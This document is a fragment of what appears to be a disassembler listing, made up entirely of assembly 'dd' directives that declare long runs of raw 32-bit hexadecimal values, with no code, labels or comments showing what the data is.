		dd 27B486EDh, 0F59D6Ch,	3845CEA7h, 3775D202h, 5E4A880Eh
		dd 2D0E01BEh, 0B661AF7Ah, 2667F8h, 77E61695h, 0C2A23AFDh
		dd 81315F3Dh, 41C0F50Ah, 3C340432h, 26CCB04Ah, 9E08E789h
		dd 0E3AD80A0h, 0B09DB8AAh, 0D0254Ch, 8B3D2187h,	0E0D222FAh
		dd 138FE69h, 81659D0Fh,	80E66ED3h, 0CA540728h, 0E34C34h
		dd 0A9D6123Bh, 51041092h, 0C7684600h, 7F5F6477h, 5424F51Ch
		dd 9598A082h, 6861127Eh, 91A9005Eh, 0C89A57D2h,	35586A00h
		dd 11BCB405h, 6D8C39E3h, 0F2377D80h, 0AAEDC7ADh, 0B1F3B200h
		dd 5CB9189Ch, 0A855001Ch, 8F65BAF0h, 62396D21h,	0B4528003h
		dd 5C14DB63h, 0BA7307F9h, 50CEE6B0h, 0F2A9EAB5h, 0CD8CC500h
		dd 40198407h, 69B407BEh, 30BCE609h, 0D7369F4Ch,	43B28600h
		dd 0F5327E3h, 264E00CFh, 712ADD78h, 36008C60h, 0BF287BD5h
		dd 0FA7F62D2h, 0A6490016h, 38DA12Dh, 2000ADFDh,	0F78ABC73h
		dd 3D3DB5Ah, 0C0213116h, 0EFD86E10h, 32F31B0Fh,	371A0E98h
		dd 0CFEA00F5h, 0E01D4358h, 0E3E60091h, 83BF2DBCh, 1900746Ah
		dd 0CAD48EE2h, 5D0676h,	3C4FBBEh, 0D652880Bh, 0CC212200h
		dd 763871F1h, 34D90096h
		dd 1679A55Dh, 0C20230A9h, 326DE957h, 0C026E068h, 0F560005Fh
		dd 0F6361591h, 0D6F62B19h, 7A0C1E00h, 0DF7E7B78h, 0CAB2002Eh
		dd 9998BF97h, 820764C7h, 2893FB07h, 0CE898089h,	90D113h
		dd 7EC49192h, 155C64Ch,	9FE24E3Ch, 0BDC45341h, 5CD2DBC5h
		dd 25A080D8h, 1350A40h,	20CBB4BFh, 20E7A28Ah, 6F00BB3Bh
		dd 0E5A47EE1h, 0B0B3F96Bh, 0C42B0094h, 549B9646h, 490066D5h
		dd 74302CDEh, 2627B9F0h, 723E243h, 0F277572Eh, 7640D2D3h
		dd 0D5003EDEh, 8D83CA76h, 0F2CAE94h, 58DD7017h,	14353FA2h
		dd 835A9282h, 0BD190C50h, 26207116h, 0D12E5701h, 987AD029h
		dd 5C1C74F9h, 1E7897FAh, 2CEFE10Eh, 21E58055h, 6F33D8D4h
		dd 5B03504Fh, 14E0F3DCh, 0BF07E245h, 0EEE7F048h, 0E8FA9C80h
		dd 2BEF068Eh, 58537404h, 0E23D2C13h, 0C215901Dh, 0EC200698h
		dd 1879E123h, 51E645DAh, 591F53F5h, 5A4AAAD2h, 5E2D08BDh
		dd 0FAE102B2h, 24809D14h, 343F4740h, 9FD74500h,	0E3468F02h
		dd 6AA0018h, 67910BC9h,	540B88B8h, 500D4Bh, 0ED25E316h
		dd 9E9A0021h, 225A7B49h, 0D007F3A6h, 79099608h,	0CD3214A1h
		dd 27AF0h, 0F1E50A91h, 4ED48BFFh, 0D821B900h, 5A587B04h
		dd 3CE1012Ah, 1FBA5328h, 93BDF064h, 0B8570100h,	0C42F39A9h
		dd 19A6008Dh, 4E27E49Eh, 0D9036E62h, 5C912928h,	23F2F9EBh
		dd 0F7037F4h, 0E7AAF965h, 50D8C07Fh, 0A0B6E5A6h, 47FC2A0Eh
		dd 1F0424D3h, 0AF1B9C0h, 1EAEAAFh, 0E6CF0E7Eh, 0EC56C33Fh
		dd 0F6E80DC4h, 71641E00h, 81204C21h, 33E752Dh, 0B30FFBAAh
		dd 0A8E8E61Ch, 110057BDh, 82E86366h, 1FAF5CDFh,	0DFD53C50h
		dd 2F0A072Ch, 9BBBC08Ah, 0C554014Dh, 0F903DDBCh, 65737DAh
		dd 0AB3EBB3Fh, 0E5DB38h, 0DAF21721h, 0E4E35B9Ch, 2236DF12h
		dd 8A80445Dh, 0B3A2EB92h, 189800DBh, 21D4F1C0h,	9480898Fh
		dd 9C86366Eh, 48362078h, 0E6419049h, 4E5E1812h,	0C840201Fh
		dd 14A7020h, 0A8BED2FDh, 8B566EE6h, 40D0E4B9h, 6F12187h
		dd 0CCA840D8h, 120F10E6h, 80873599h, 0EE8192EBh, 7F9FEFBh
		dd 5269822Fh, 0D06637C9h, 0EB5A5777h, 8767A722h, 7C2B4104h
		dd 1F108364h, 90F0639Dh, 0E9FACDh, 0E65DA71Bh, 56F1D469h
		dd 209F1533h, 9131B0F2h, 0ACFF00A9h, 47A5571Dh,	0D2EE0C46h
		dd 0A3552500h, 4084BBCEh, 9A5B036Dh, 0B5CF0615h, 0B489D6C8h
		dd 42F6EC00h, 50AD1B1h,	183E00BEh, 1A8A5E06h, 1F06E7F9h
		dd 0EE7AB9A0h, 0C030011h, 0C4BFB40Bh, 8500464Ah, 8764DBC7h
		dd 0D62F41h, 0EC4EC9E5h, 7C63679Bh, 0A1B74B01h,	0AD6CE625h
		dd 1F4897D0h, 407A2623h, 6DC85724h, 563CE9CBh, 0D1698F73h
		dd 1EA440F2h, 76800F99h, 0D460E6Eh, 852033F0h, 878917EAh
		dd 78105D38h, 319470Eh,	524BE0F1h, 7DC4BAh, 0FE423A76h
		dd 0CD70FA09h, 8745BB0Ch, 77EE9D8h, 92EE1C8Dh, 5717E076h
		dd 0D000E7F7h, 0D49C32BAh, 0E30FC5h, 0C64A79A9h, 0DC505804h
		dd 395CB203h, 0D08502FFh, 4D99D0h, 44067936h, 6B3F88BBh
		dd 1B3270E1h, 0C37B7C01h, 0DB16D50Dh, 0F000F221h, 75C591Ch
		dd 97E2E16Ch, 2CE0D37Ch, 0BD3694E8h, 2128B598h,	9E05C8BBh
		dd 1BBC668Bh, 99D4D040h, 0A095DAh, 0C5815A02h, 0CCD95EF5h
		dd 0ABFE6E02h, 486886EEh, 276224h, 52E091A9h, 90B3C4A5h
		dd 1742BF00h, 0C95DEE65h, 0AF7C02CEh, 2EF61A61h, 0A87BAAC0h
		dd 4232F100h, 0BF3F4686h, 1020F79h, 57A04ADBh, 0D9C36508h
		dd 0D3E4E50Bh, 4C2B032Fh, 1154A8D6h, 718D803Bh,	3A72C400h
		dd 0CBFC5186h, 0EBD93CEDh, 0A84B7400h, 0CD16AE04h, 8089C30Ah
		dd 560E9F97h, 0D77480EBh, 0E42699h, 5FA51A5Bh, 403187DBh
		dd 7F486A18h, 410420E0h, 0A428D067h, 31528915h,	2CA34CA0h
		dd 0D6007BF7h, 0B117C9E2h, 756900DBh, 0D126C550h, 9E006241h
		dd 0A3310353h, 0C44482h, 6CD7B7E9h, 2DCF97CBh, 8261D83Ch
		dd 908AA84Eh, 58CC494Fh, 872AE980h, 0EA5EE703h,	73A36204h
		dd 1C804F45h, 6EC684FEh, 8C8006F0h, 90A75329h, 0CD613416h
		dd 0B01587FAh, 0ACF20BC2h, 17AF0405h, 0D4006351h, 0D1C725D0h
		dd 0F7D80077h, 0AB241453h, 9B121E70h, 40B828h, 0FA233440h
		dd 55150772h, 9480EF89h, 0E9C8801Bh, 0B00A81E5h, 88DFB59Bh
		dd 45157100h, 3A25847Dh, 94A64630h, 0CCEA8030h,	0F54BF2FEh
		dd 0A83C5500h, 5779745Ch, 0E5690001h, 0B21C031h, 600CF41h
		dd 0FA50A68Eh, 1D2B1C8h, 371DDD60h, 0D113487Bh,	0E2A1D0C0h
		dd 8FF06926h, 22391A00h, 7965DDDEh, 361900F1h, 0EE3D6771h
		dd 34008B60h, 5D6E7FCEh, 7438315h, 42FD02Eh, 1C004923h
		dd 0F87B90DFh, 88C97E07h, 0CDB062DCh, 0D8C6FBh,	0EF22CF38h
		dd 0F3DFCA72h, 0DD00ADEEh, 0A864BACh, 733BBB99h, 467C04AAh
		dd 0C395AE50h, 5BD01DE7h, 6006DE68h, 6DFDC358h,	7DD92680h
		dd 4D890E5Ch, 667CF9Fh,	2D23E643h, 9C398190h, 402C200h
		dd 0FCAD0310h, 0A0705087h, 4916016Fh, 0D1FD271Fh, 37F88112h
		dd 0E2DD9738h, 0B631F0h, 0AA06B515h, 36D47991h,	83CB9300h
		dd 84D65A5Dh, 87280137h, 3DAAC804h, 5E42D4DBh, 0FEDCE501h
		dd 0B054B617h, 48807424h, 796A89h, 39D29787h, 0FA55C7FBh
		dd 489C070Ah, 0B109C6FDh, 6A4D0053h, 60D32861h,	0EED41126h
		dd 7C00B608h, 0A01C3114h, 12223865h, 9C3CD7h, 0F554F79Ch
		dd 7902957Dh, 5605A38Ah, 6C604072h, 1F63093Bh, 4020D874h
		dd 5CC6A99h, 2B986200h,	0CB2FD740h, 675118F0h, 8ABAB109h
		dd 0FB75E100h, 1F98EC0Ah, 4F36002Ch, 2BF71A7Ah,	181534CEh
		dd 39C8CEFh, 0BB09FD81h, 406A8C8h, 6C8E0073h, 0A1A5F8Dh
		dd 0D100A12Ah, 0E44E6392h, 7A25BC85h, 0C88E009Bh, 0BD5310EBh
		dd 500BB78h, 0E683DA67h, 0E888BAh, 16217A23h, 17315D25h
		dd 80BD5E39h, 0D36342A7h, 5DD237Fh, 77AB808Dh, 0F06AC0C8h
		dd 3F038C9Dh, 0B1EEF630h, 43A2905Dh, 0CA6A1DFAh, 485E4024h
		dd 852E5587h, 0E1307012h, 0C1751C0Fh, 0E72D7F79h, 6F653887h
		dd 0B3CE64h, 874D98DCh,	8A74C1ABh, 0EFBA8302h, 80722C3Fh
		dd 0D5A6DDA8h, 0E97A04h, 991A9FF5h, 0F24E7C96h,	53F1B800h
		dd 5E60A21Eh, 1FCF1C9Ah, 64E500CDh, 7480C67Ch, 73E07E00h
		dd 0A0B563A6h, 9C570071h, 7DBFE4C1h, 0DE72B65Ah, 7A7CA558h
		dd 0C6EAA27Bh, 1C2E081Fh, 2AA061C0h, 4C4895DFh,	1A008027h
		dd 98CAE0EEh, 0A70CBFD5h, 0A093F17Bh, 0D29400ECh, 0BB97E46Dh
		dd 764DD408h, 0E11008Ch, 844158CCh, 0D29D003Ah,	4495B2FCh
		dd 0A3003C86h, 42CA15D7h, 0F9965A5h, 29F5B592h,	0FBC78780h
		dd 3A481E68h, 0C38E0070h, 0E64F6DF0h, 94B0FCh, 686F82E0h
		dd 0E450EB84h, 7BF671C0h, 183196Ah, 68BE33C3h, 0CB4EEB86h
		dd 7DF0210Bh, 0DDA4A76Ah, 0E4AB8B30h, 0E8B5E87Fh, 24F0182Dh
		dd 25EB216Bh, 736A1CA0h, 68B80A0Eh, 4F809CCBh, 0E7858290h
		dd 32EC26AAh, 8B5900DDh, 0D7E18D68h, 2A00E6EAh,	92DE5B90h
		dd 122F66Fh, 4A5ABC6Bh,	0F4C0860Dh, 8B01179Bh, 0AA124563h
		dd 0EFCCEB5Fh, 236418C5h, 0E0A039E3h, 0B014CB0Bh, 0E6DC2063h
		dd 636A902Bh, 0D372905Bh, 617DB6A3h, 4FBBFE00h,	394EFD21h
		dd 619E1EBEh, 87724069h, 1520C056h, 649AF90Bh, 5B010A5Ah
		dd 8C79A43Dh, 89D24B04h, 58B710C0h, 11A800AFh, 5AED71F9h
		dd 9803D56Dh, 0B0AABA63h, 15A1B049h, 0D0800E66h, 0B70032C6h
		dd 0B6895E3Dh, 80128F3Eh
		dd 76EDAAABh, 77B5CFA7h, 5808020Dh, 5110B231h, 4559D040h
		dd 81CD2400h, 0C5FA1B7Ch, 0BF860090h, 0A772BAFCh, 0A500DB50h
		dd 0C6631E0Bh, 11735C0h, 62B6D84Dh, 0D87A61FEh,	0D7006B7Eh
		dd 0F114B7Bh, 50AFFB3Ch, 255F9DC1h, 0A83E8241h,	0C5276E01h
		dd 697FA593h, 0B606198Eh, 9408AD29h, 0CFEB0CD0h, 0D0BAEF08h
		dd 0B6BDAC04h, 6E809168h, 7C7EF9C4h, 8CCF09E9h,	1A004BF6h
		dd 9E6661E6h, 3AB7980Eh, 974F6306h, 0E340008Fh,	0F95C0C10h
		dd 0EB24FC99h, 610AA0E7h, 0AF00A165h, 0BAF158EAh, 779902FAh
		dd 0A6C3EE13h, 0C275209Eh, 0DF620C8Ch, 4D20C888h, 2B2F6712h
		dd 0AC97C820h, 68B9262Ah, 0F09003C0h, 98A30BA2h, 0B4A42100h
		dd 0FBB1112Ah, 3A2F00E9h, 640C4707h, 7D7A5F48h,	3DEC010Eh
		dd 0B44BC08Bh, 506F4D49h, 0B41A430h, 40F71255h,	77DE9400h
		dd 760CE0D4h, 61ED2B60h, 28F83ECBh, 31703F03h, 0E9D84913h
		dd 5A15779Ch, 1CC15EAh,	0E2032605h, 39B283D8h, 0AA302DC8h
		dd 68C31C2Ah, 9491610Bh, 2AB2387Fh, 0FA80330Ah,	213B80DCh
		dd 53C087F2h, 48431607h, 967012EDh, 1FEAF8Eh, 394CE311h
		dd 0D9E22162h, 0F5399D99h, 0A5DEC5C7h, 3FB8031Fh, 72A9008Eh
		dd 0C342658h, 6B19C3A3h, 8908AB13h, 0A0D32184h,	0DD998026h
		dd 0F9B89C88h, 9024E800h, 0B52DD43Eh, 0E73D03C6h, 0A3D3F751h
		dd 0BDB6A7D0h, 48599324h, 0A9B1C2C7h, 0EE189FE4h, 0C9A088h
		dd 0C27D4AB6h, 0E0E1F8D7h, 0C68824h, 20976D00h,	0C078D011h
		dd 66FDAA10h, 24E7CFC2h, 2E0FC784h, 0C3E05F4Eh,	30E8EB6Fh
		dd 0A7216B09h, 4A004E37h, 0F8F544DDh, 691055h, 28150178h
		dd 0DC6FDE3Bh, 2AF48050h, 183EB44h, 6E37B0DFh, 0D1B33695h
		dd 57BDD098h, 64F6081Fh, 0BB351D01h, 71BADE50h,	39DC660Ah
		dd 15B10144h, 4EAF513Ah, 94078488h, 891A6B30h, 0DD86C600h
		dd 9F40A2F6h, 0A1E2602Bh, 0A8B47068h, 0D7DE411Ch, 23735901h
		dd 0F29FAE77h, 6C0C8906h, 6AA97800h, 0BD4894DFh, 547204C8h
		dd 0F0818143h, 90DE93C4h, 10B6B94Ch, 0E0A7E4ACh, 0B6C09Fh
		dd 960232EFh, 39A03CA3h, 41E8F39h, 7F093814h, 9531B091h
		dd 0F1123C20h, 0F48EB183h, 78007663h, 0B861077h, 0F099F1h
		dd 3A9B2884h, 7042660Fh, 40C3F426h, 440814A4h, 0DC8003C5h
		dd 18166E77h, 982113F5h, 7F3063B1h, 0E0211237h,	0BDD84934h
		dd 6036B804h, 23BC2AAFh, 9A11A368h, 2AB73700h, 7EB14969h
		dd 0DCB46E1Bh, 0B88895D1h, 1FA40352h, 0E706F5DFh, 5EC83912h
		dd 7AE23440h, 116CEB5h,	0EE14841Ah, 0CEA7867Fh,	6467F8C8h
		dd 0B68CEB00h, 0DB1A3FBCh, 0DABB0033h, 3C2EECB0h, 6304B3B8h
		dd 62DA95Ah, 0A7C2C490h, 303890B5h, 7718AF5Dh, 92353CB6h
		dd 62F0816Dh, 2B31CA0Ch, 4A93408Ch, 800DD7Bh, 200649AFh
		dd 502D0F8Ah, 135D9091h, 14826C14h, 181080FCh, 64070B9Dh
		dd 82A30FD6h, 6887E65Ah, 0FFF59104h, 0B0E87185h, 698E0215h
		dd 0C8412721h, 84718BFh, 0C2E06C4Eh, 0A44073C4h, 0C0104E30h
		dd 946149E4h, 61689178h, 449021B1h, 0FF120884h,	23342E04h
		dd 8F670074h, 5C646C46h, 7F0F260h, 0CF1441h, 50207BAFh
		dd 0E810E408h, 0F8385C58h, 6008C9Fh, 0F4DB2F6Ah, 24C4C74Dh
		dd 10787222h, 0CC8F0B87h, 5AA40030h, 900D2865h,	93649C2Ch
		dd 8B770D22h, 6EC32F0h,	0F6F7FC0Bh, 0E18F06B0h,	0A06CA010h
		dd 39E8E230h, 0DEEE4A67h, 54880331h, 700694D3h,	6A1558E9h
		dd 444C9A30h, 0BD01B8DAh, 64068926h, 60A4F8E8h,	4200DEA8h
		dd 4A61755Eh, 6193B0CFh, 300754FFh, 8E788468h, 0D8931F4Ch
		dd 1D7F04Bh, 0F04A1EE2h, 512C8590h, 8914C1ABh, 0DF544178h
		dd 0BCBC5023h, 0F2EDE57h, 6004C169h, 0F09851B3h, 0ADA501C8h
		dd 0B8611DBFh, 658470C4h, 0B6DEA1C0h, 7C3EB14h,	0A746F358h
		dd 0C7640182h, 0A8037F9h, 0FC04DF69h, 35A05798h, 0AFDC196Eh
		dd 2308B975h, 0FE00688h, 0A38090A9h, 49A0107Ch,	6DC20083h
		dd 8B8FE394h, 0F8F7497Fh, 0C05BFB1Fh, 0BFF6AC7Dh, 0A600A0ECh
		dd 924BC728h, 0A4896B2h, 0F4CFFC08h, 60BD44C4h,	235E4E31h
		dd 6D1132E0h, 4E3AA600h, 7C1083DBh, 0A1122AB0h,	840E52Ch
		dd 0BB82A99Ah, 0F4850088h, 79DF463Dh, 40093CE6h, 82F336C9h
		dd 287605A4h, 35A0FCEh,	8437B727h, 4DD8A4F0h, 0EEC25B0h
		dd 23207C5Ch, 265100B1h, 0C2FB0C49h, 0D87E4486h, 0E5265904h
		dd 0C862C0Ch, 56A07E9h,	2BF607C5h, 0EC6E1010h, 2C80FB20h
		dd 47C42B4Bh, 0CF081C77h, 20115F60h, 39C8FFFh, 9B8AD95Ah
		dd 80E035B7h, 0B5004C07h, 0E137A95Fh, 26FA1572h, 80F86ED7h
		dd 54DDE49h, 0FB547F77h, 0C1FC43D0h, 3A4F4100h,	0F45FF152h
		dd 85DD02CDh, 35D2B7D4h, 76C2FCC2h, 0C0C56805h,	10AB8722h
		dd 274CF700h, 8D0783E0h, 6613DEFh, 48CB1A82h, 0A04451B4h
		dd 90E25A18h, 12DC5441h, 4CABC6Bh, 0D19CDFB0h, 807C2B74h
		dd 1CFEFFF1h, 18A7B81h,	0CCF59D7Ah, 30DC4C60h, 0EF405DE0h
		dd 0E014100Bh, 0B6007C9Ah, 3878F0B9h, 4D4C6EA0h, 40003C13h
		dd 1C9A2D14h, 0CA3AF28Fh, 0D2A71428h, 552A3DD4h, 656C41A8h
		dd 895902E1h, 6FF8AEE0h, 6DDCC4E2h, 4BF69080h, 9EBF26C1h
		dd 6B9103D4h, 400C6CA9h, 0E18D755Ah, 0E6DA1F05h, 5468431Dh
		dd 8878721Bh, 0FD819B04h, 0B0C2AFC3h, 2AA93030h, 1368C209h
		dd 3FE8450Bh, 0AE2AB180h, 23B5792Eh, 1D8BE903h,	9B08EBDBh
		dd 0DFC008B4h, 5039628h, 0B23B1664h, 0C3160E9h,	745B5CAAh
		dd 0C30F5A23h, 17E4A4B6h, 93F461h, 0F6B6CA9Dh, 7AC60B60h
		dd 98F9518h, 4F9233E5h,	0DE8606ACh, 61FB5EDFh, 1164ED60h
		dd 208249B5h, 0EFDAE4ADh, 942068C0h, 59146380h,	9445BC28h
		dd 30398802h, 0B7112AAEh, 9988AB68h, 2AB63687h,	413170C0h
		dd 80271806h, 6AA5D95Eh, 447A3B01h, 1EA0ED08h, 0D606BC40h
		dd 0E47016B1h, 0A01051E3h, 0BAC40104h, 883CCE77h, 91BBC06Eh
		dd 570FEC2Dh, 0E40DC03Fh, 1090D5E4h, 0E686910h,	0BA9163A2h
		dd 4E600256h, 0B0C9F2B3h, 9B0183Bh, 9B68BD2Ah, 3000001Ch
		dd 0FDF2AB8h, 0AD0EB29h, 8B9DE1BFh, 9E46749Ch, 0B2056E00h
		dd 44C1D360h, 0BDBB8700h, 327F068Eh, 8464D5E0h,	0CBFC071Fh
		dd 84827D63h, 0FC2993DDh, 313717E3h, 305522B4h,	0B700F28Fh
		dd 0AD5D3EE2h, 59146E7Ch, 0DC50B0A8h, 399D42DDh, 2C62CAB4h
		dd 22F47066h, 0D7008B43h, 241BD51Dh, 399AFh, 49B657C4h
		dd 316FBB5Ch, 16B2B904h, 70CBB432h, 450F0475h, 91E36909h
		dd 0ECBE466Ch, 50C734Ah, 795F7F5Eh, 0CFFE002Dh,	0B2B85471h
		dd 0B40241A5h, 0E0E4AF50h, 81859A0h, 65098713h,	0C064CD42h
		dd 87E0D5DFh, 84EA0C28h, 21705A31h, 6872E1E2h, 0E352610Eh
		dd 0A9B8372Ah, 18F3D1DCh, 6427145Ah, 3C4CA72Eh,	0B805D414h
		dd 638011h, 576B6634h, 2086A74h, 0B4228AE7h, 0D880FA40h
		dd 9BA50FD8h, 0B4302181h, 440DD07h, 0D08E4C77h,	88C0B734h
		dd 10ACE832h, 78A47B0Dh, 4684D894h, 2023B4CAh, 0F661ACDFh
		dd 1DB06314h, 0A4250354h, 0BC61A7FCh, 0CFFC42B6h, 0A665FC59h
		dd 0EDBFBC00h, 6991393h, 911F6EFh, 0DE12D0AFh, 88202C26h
		dd 0FA398DA6h, 2090B854h, 0BA0BE685h, 3E3B1h, 8B26E8D9h
		dd 9A30C04Ah, 58E22E86h, 0D0C4112Eh, 1369D380h,	1891A3CAh
		dd 20AD52AEh, 0F0805949h, 187C94h, 25EC0812h, 0C49FACD1h
		dd 57E4680Ch, 0F8EBE073h
		dd 0A4C81F85h, 374C0B9Eh, 7FE3F8A0h, 78585A9Fh,	0B88BC8h
		dd 5706709Ch, 0FEC988Bh, 26EA08DAh, 0C910C041h,	0C5C08085h
		dd 58829EAEh, 895C6121h, 0C8FC728Dh, 1027F58Ah,	5A082492h
		dd 0DDF8240h, 70051D36h, 0ACA2D88h, 1F7AA680h, 90C84B4Eh
		dd 88D9FCA4h, 0BA4AF03h, 0ECE4E2C4h, 0AA2D9058h, 68C0447Eh
		dd 0CB4A9C65h, 74DD00DEh, 0C8CA216Dh, 0E11E7F5Ch, 8EC10C45h
		dd 8DE9C457h, 0E0FFEF0h, 0E8794E60h, 0EC40F18Fh, 0C0DBCA08h
		dd 5BF5DC0Eh, 41C5EC7Fh, 0B50300F7h, 8DE06E0Eh,	2A7EA7D3h
		dd 70B94F0Eh, 0AD2C80E3h, 5F3B43h, 0D8609A03h, 5D8F0266h
		dd 5C19BE00h, 4F382456h, 83BA033Fh, 1063BD5Eh, 84741801h
		dd 75F0CD69h, 41E12Bh, 0E8D22C18h, 0DFB7FF0Ch, 1588ACh
		dd 2DCA0FD1h, 1E1195A5h, 0FFCCA806h, 20AD57h, 0D513F541h
		dd 0CF66D064h, 0BAE46200h, 0FA2CEDE6h, 8B1C0707h, 90D846C2h
		dd 45D69860h, 0E88CB60h, 6119C5DBh, 49E4F8F3h, 0ACF4D055h
		dd 0D6F1E600h, 9F01CDC2h, 3B9E003Dh, 4D35F054h,	0F1F423Eh
		dd 5A00A2F5h, 0D5F74B5Eh, 12D0FF1h, 1D208799h, 6658B289h
		dd 0FA009BF6h, 16B3BD2Fh, 0F2CCA62Dh, 4DE6018Dh, 0A2995B2Ch
		dd 0DB98C5F5h, 173A61C0h, 55398F01h, 0DD3229F9h, 996D088Ch
		dd 0E1073620h, 852D8216h, 0CFECD300h, 0B8750107h, 3D21185Dh
		dd 1288EA2h, 0D591D8D6h, 350A000Ch, 3045C3D8h, 443C8972h
		dd 929600A3h, 0A516C8B8h, 9BC618E9h, 5A346901h,	0AEFD9EC0h
		dd 6C4AE550h, 0CB0B80Dh, 0E802F643h, 0E5399516h, 0C106B31h
		dd 5D00164Fh, 33CF75E7h, 0C5A7E38h, 0CBFA39C5h,	80AC9D51h
		dd 94165702h, 19FA2D39h, 0E237106Eh, 9B240B16h,	0AD01FF4Ch
		dd 41153FD4h, 7052758Dh, 7701F533h, 0C2DD9C08h,	0A4E011BDh
		dd 29D800C8h, 35BF4A96h, 0FE009893h, 6C888490h,	1CE7EEEh
		dd 0E4C194DFh, 0ECD0F913h, 4AFA4543h, 80231E39h, 0D3115B51h
		dd 0EB12C8h, 96BAAD74h,	243F92E6h, 0F61F942Fh, 9FDA0F25h
		dd 74851DC0h, 3B004C57h, 0F1039CB0h, 0EE68B6Eh,	0E889BDBCh
		dd 0B89FDD00h, 7D0E4374h, 0C06B69B5h, 5E58A9Bh,	84B9003Eh
		dd 0D2088F72h, 3700BCB0h, 5AFDE8ABh, 2B2242Dh, 0A65F92E1h
		dd 66E07D96h, 0E30E81C5h, 80CB0597h, 9844585Ah,	548B0040h
		dd 2A53675Fh, 51033D5Eh, 6C61F93Bh, 0FA200742h,	60A0A1B8h
		dd 0A6ACD622h, 90642C00h, 835935F4h, 0CD2E003Ch, 401EFC12h
		dd 3B034107h, 8D42855h,	8CC5D8C4h, 0EC8500F0h, 755A7358h
		dd 0A006586h, 34E1BA74h, 998D36h, 0F029A684h, 0F31E937Fh
		dd 0EA094A00h, 7B4775CAh, 14BA00B9h, 41782681h,	0AE00AD93h
		dd 774BFD1Dh, 244F9Eh, 0E12E0B54h, 4352D73h, 30019500h
		dd 600E287Bh, 226800FCh, 1781712Eh, 0A41EB450h,	0FF801D31h
		dd 0EBBE492Ch, 24BA0057h, 8B37834Ah, 610725CBh,	2B048ED9h
		dd 46F3C670h, 7E620E5Bh, 6806753h, 52A3161Ch, 8E023490h
		dd 5B7B54DCh, 69AB4003h, 6C3C0E62h, 0F3461E64h,	60050D9h
		dd 60DE5DE7h, 4CA643h, 5797896Ah, 8145F85Fh, 3E5058h, 0C7745837h
		dd 91FE12h, 6BFF4442h, 227334EBh, 50726800h, 7DCBD49h
		dd 8D1200D2h, 4F998E4Dh, 930040E2h, 0D0E3336h, 6F3713h
		dd 78ACD57h, 0B5C7D667h, 767CFAE2h, 71DCCB00h, 9BB1A2AAh
		dd 65283053h, 60917D11h, 7BF925Ch, 0A8A1A05Ah, 0CAFBC2C0h
		dd 95C077Bh, 20751CD1h,	202F21DEh, 4E0BD8A0h, 8300C278h
		dd 0EBBA2E31h, 0F00ED9F5h, 84CC01C7h, 3C1BF4EDh, 1721D462h
		dd 0E7313200h, 0F377676Fh, 45780060h, 41059A1Bh, 0DE0064E3h
		dd 37F0FCEAh, 915C1h, 49594DBBh, 845E6A9Ch, 8AE30F00h
		dd 241BB55Fh, 552200F9h, 90A0BD73h, 7B0F1556h, 0A0676457h
		dd 0D14B3FA1h, 9D3B00EEh, 0D8FA6143h, 0D30BC1A0h, 106727h
		dd 7E550CF8h, 907F45h, 0EDD52808h, 7F1EB4E8h, 91336800h
		dd 0B9CB438Fh, 381B12F5h, 0B6C70E6Eh, 26002DABh, 11531AABh
		dd 0DEE1CC00h, 577139C2h, 16D209D7h, 5A00F14Ch,	0C05EDABFh
		dd 8FB7A901h, 62FE9F83h, 18A2F0h, 5CDEEAACh, 0CD553897h
		dd 0E4B03600h, 2EAD124Bh, 5E9B1267h, 0C92C032Ch, 8C882191h
		dd 57003E53h, 0F92544FCh, 5206C09h, 528662BEh, 9C89C079h
		dd 0FD03937Ch, 99C74B50h, 71C5C806h, 733F8DCh, 0D34587DAh
		dd 0D8D13095h, 0B900A0ABh, 81856FF3h, 166B031Dh, 8C1AAh
		dd 0E3B45591h, 5E300CECh, 17CA90F2h, 6FECB5h, 0DAD4CD2Ch
		dd 7D56D23Bh, 2442B100h, 0A54D7186h, 506C001Dh,	0C5851FFBh
		dd 6B0F14B2h, 0A0DA2DECh, 452B8B25h, 0D5B08Eh, 884114Ah
		dd 0DCDEBF15h, 9F39F8E8h, 0B72A806Eh, 22710186h, 6FD80058h
		dd 0BBFD51A6h, 827744DCh, 0A0E34E00h, 587AEE6Bh, 352D4829h
		dd 39EBD303h, 0A3874156h, 1000D29Dh, 0DDB32A19h, 18C283F6h
		dd 18D1A66Bh, 0BE0266C3h, 5F03F8B5h, 1D3C401Ch,	9B4F4050h
		dd 74355406h, 493E08h, 0A4BC1532h, 0CD13DBBEh, 7D57C00h
		dd 7F901724h, 0EEEB00B4h, 0CF02FA29h, 0E0244F4h, 0B5CBD2Ah
		dd 4DC48780h, 950925F0h, 0F3780069h, 3E30A7B3h,	0A100ED44h
		dd 939D61EBh, 0D15F6Bh,	0C145BDE1h, 0F5240C5Dh,	0DE31D600h
		dd 58AF8C6Eh, 96C902Eh,	9DF1ADF3h, 8331D025h, 52A1E087h
		dd 0CE477076h, 0BACDB401h, 7C4E5946h, 2C7FAC30h, 35D275Ch
		dd 0EACAF528h, 0F86CBFB1h, 0B85CC0A8h, 0FE4E00EAh, 80170E45h
		dd 220B0CAh, 0DD42FA13h, 37E07615h, 7E00A40Ch, 2F81E810h
		dd 3C5EC28h, 23F3C4F6h,	40C8ADCAh, 1D906765h, 7AE07F00h
		dd 0AA8074F8h, 99F11F2Fh, 0A058B0F3h, 0DCE69334h, 3141F93Fh
		dd 9EB0084Ah, 1CC20h, 0FBC305DDh, 7DEA53Dh, 0EF287E02h
		dd 601DF8AEh, 710E244h,	1824912Ch, 0E0A8C0B7h, 0C70E4E29h
		dd 0E02B145Dh, 6C0E8AB0h, 44F2ACh, 0DCE8F388h, 0B70B1B2Ah
		dd 82D7F607h, 6E147040h, 5E57B680h, 290A0486h, 0C02B2211h
		dd 1418EE34h, 0BFAB6800h, 2B66C59h, 3F780BE5h, 0CD002767h
		dd 0F11403C8h, 0A9F3706h, 9C7046h, 7E54F2D2h, 52FA8932h
		dd 8F56411Fh, 57CAF870h, 69443B12h, 0BE509600h,	9737F26Bh
		dd 218B9401h, 0E721F3Bh, 125CC4h, 0CC7F6E49h, 54350339h
		dd 0C56C5D00h, 40DCC6AAh, 0CBF5002Dh, 3CE53E10h, 967ECDA1h
		dd 72636F26h, 8E0D5A00h, 2DC4BAEh, 0CFC7FECCh, 0C0A0CEE3h
		dd 2236C349h, 0AF0710E6h, 5B2B2A4Eh, 0D687DFC0h, 1386334Fh
		dd 1C06F11h, 0AB079638h, 0F764B1D9h, 8DBED181h,	0C0E42ED4h
		dd 281FE6D9h, 0D0031725h, 1339038h, 0B070FF20h,	0C76F8327h
		dd 76D6C629h, 0A34958E7h, 0FDB80034h, 0AEA2CFADh, 0B737001Fh
